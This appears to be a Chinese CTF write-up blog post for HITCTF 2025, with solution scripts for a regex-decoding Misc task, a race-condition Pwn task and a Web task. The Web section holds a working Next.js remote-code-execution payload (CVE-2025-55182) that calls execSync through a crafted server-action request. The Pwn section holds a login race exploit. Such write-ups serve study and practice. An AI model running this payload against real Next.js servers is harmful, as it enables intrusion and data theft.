Logo
Overview

2025 HITCTF 题解

December 7, 2025

不是很想打。孩子学了好多天pwn,真打不动了

Misc

5-Layer-Fog

赞美chatgpt,我好懒啊

RegexBeast

赞美codex,

PYTHON
from __future__ import annotations

import re
import sys
from pathlib import Path
from typing import Set, Tuple

ENC_FILE = Path("enc.txt")
PNG_OUT = Path("decoded.png")


def parse_regex(text: str) -> bytes:
    """Parse the specific regex grammar of this challenge into one byte string."""

    sys.setrecursionlimit(10_000_000)

    idx = 0
    if text.startswith("/"):
        idx = 1  # skip leading slash

    def parse_expr(i: int) -> Tuple[Set[str], int]:
        lang, i = parse_term(i)
        langs = [lang]
        while i < len(text) and text[i] == "|":
            lang2, i = parse_term(i + 1)
            langs.append(lang2)
        union: Set[str] = set()
        for l in langs:
            union.update(l)
        return union, i

    def parse_term(i: int) -> Tuple[Set[str], int]:
        if i >= len(text) or text[i] in ")|/":
            return {""}, i
        lang_factor, is_lookahead, i = parse_factor(i)
        lang_rest, i = parse_term(i)
        if is_lookahead:
            # (?=...) means intersection with the rest of the pattern
            inter = lang_rest & lang_factor
            return inter, i
        combined: Set[str] = set()
        for a in lang_factor:
            for b in lang_rest:
                combined.add(a + b)
        return combined, i

    def parse_factor(i: int) -> Tuple[Set[str], bool, int]:
        if text[i] == "(":
            kind = text[i + 1 : i + 3]
            if kind == "?:":  # non-capturing grouping
                lang, j = parse_expr(i + 3)
                assert text[j] == ")"
                return lang, False, j + 1
            if kind == "?=":  # positive lookahead
                lang, j = parse_expr(i + 3)
                assert text[j] == ")"
                return lang, True, j + 1
            raise ValueError(f"unexpected group type at {i}")

        # literal run of \xHH bytes
        out = []
        while i < len(text) and text[i] not in "()|":
            if text[i] == "\\" and text[i + 1] == "x":
                out.append(chr(int(text[i + 2 : i + 4], 16)))
                i += 4
            elif text[i] == "\\":
                out.append(text[i + 1])
                i += 2
            else:
                out.append(text[i])
                i += 1
        return {"".join(out)}, False, i

    lang_final, end_idx = parse_expr(idx)
    if text[end_idx : end_idx + 1] == "/":
        end_idx += 1
    if end_idx != len(text):
        raise ValueError("did not consume full regex")
    if len(lang_final) != 1:
        raise ValueError(f"expected single result, got {len(lang_final)}")
    return next(iter(lang_final)).encode("latin1")


def main() -> None:
    text = ENC_FILE.read_text()
    png_bytes = parse_regex(text)
    PNG_OUT.write_bytes(png_bytes)
    print(f"Wrote {PNG_OUT} ({len(png_bytes)} bytes)")

    # Optional QR decode if pyzbar is installed
    try:
        from pyzbar.pyzbar import decode
        from PIL import Image

        res = decode(Image.open(PNG_OUT))
        if res:
            for r in res:
                try:
                    print("QR data:", r.data.decode("utf-8"))
                except Exception:
                    print("QR raw bytes:", r.data)
        else:
            print("pyzbar did not find a QR code.")
    except Exception as e:  # noqa: BLE001
        print(f"(Skipping QR decode: {e})")


if __name__ == "__main__":
    main()

Pwn

password only

手速题

不过谁家好人在二进制里写的socket监听呢

PYTHON
#!/usr/bin/env python3
from pwn import *
import time

context.log_level = "info"
# HOST, PORT = "127.0.0.1", 8888
HOST, PORT = "06a37270f1b2.target.yijinglab.com", 57657

def login(r, user, pwd):
      r.recvuntil(b"Available commands")
      r.sendline(f"LOGIN {user} {pwd}".encode())

def toggler():
      r = remote(HOST, PORT)
      login(r, "admin", "admin123")
      r.sendline(b"TOGGLE_ADMIN")
      return r

def reader():
      r = remote(HOST, PORT)
      login(r, "user1", "pass123")
      time.sleep(0.1)
      log.info("reader: sending READ_FLAG with dummy signature")
      r.sendline(b"READ_FLAG")
      dummy_sig = b"0" * 512
      r.recvuntil(b"hex string):")
      r.sendline(dummy_sig)
      data = r.recvrepeat(1)
      print(data.decode(errors="ignore"))
      r.close()


t = toggler()
reader()
t.close()

Web

freestyle

看了下用的nextjs 16.0.6,affected by CVE-2025-55182

于是直接出了,有两种做法,grep flag或者拿token都行

PYTHON
import requests
import sys
import json

BASE_URL = "http://981f50bbeadc.target.yijinglab.com/"
# BASE_URL = "http://localhost:3000"
EXECUTABLE = "grep -r flag{ .next"
EXECUTABLE = "echo token ${globalThis.CTF_CHALLENGE_TOKEN}"
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"var res = process.mainModule.require('child_process').execSync(`{EXECUTABLE}`,{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)
print(json.loads(res.text.splitlines()[1][3:])["digest"])

前几天没看这个漏洞,但是今天一看在nextjs勾石一样的请求套娃下,这个poc简直太优雅了,似乎react server还会麻烦一点。

comment

留言 / 评论

如果暂时没有看到评论,请点击下方按钮重新加载。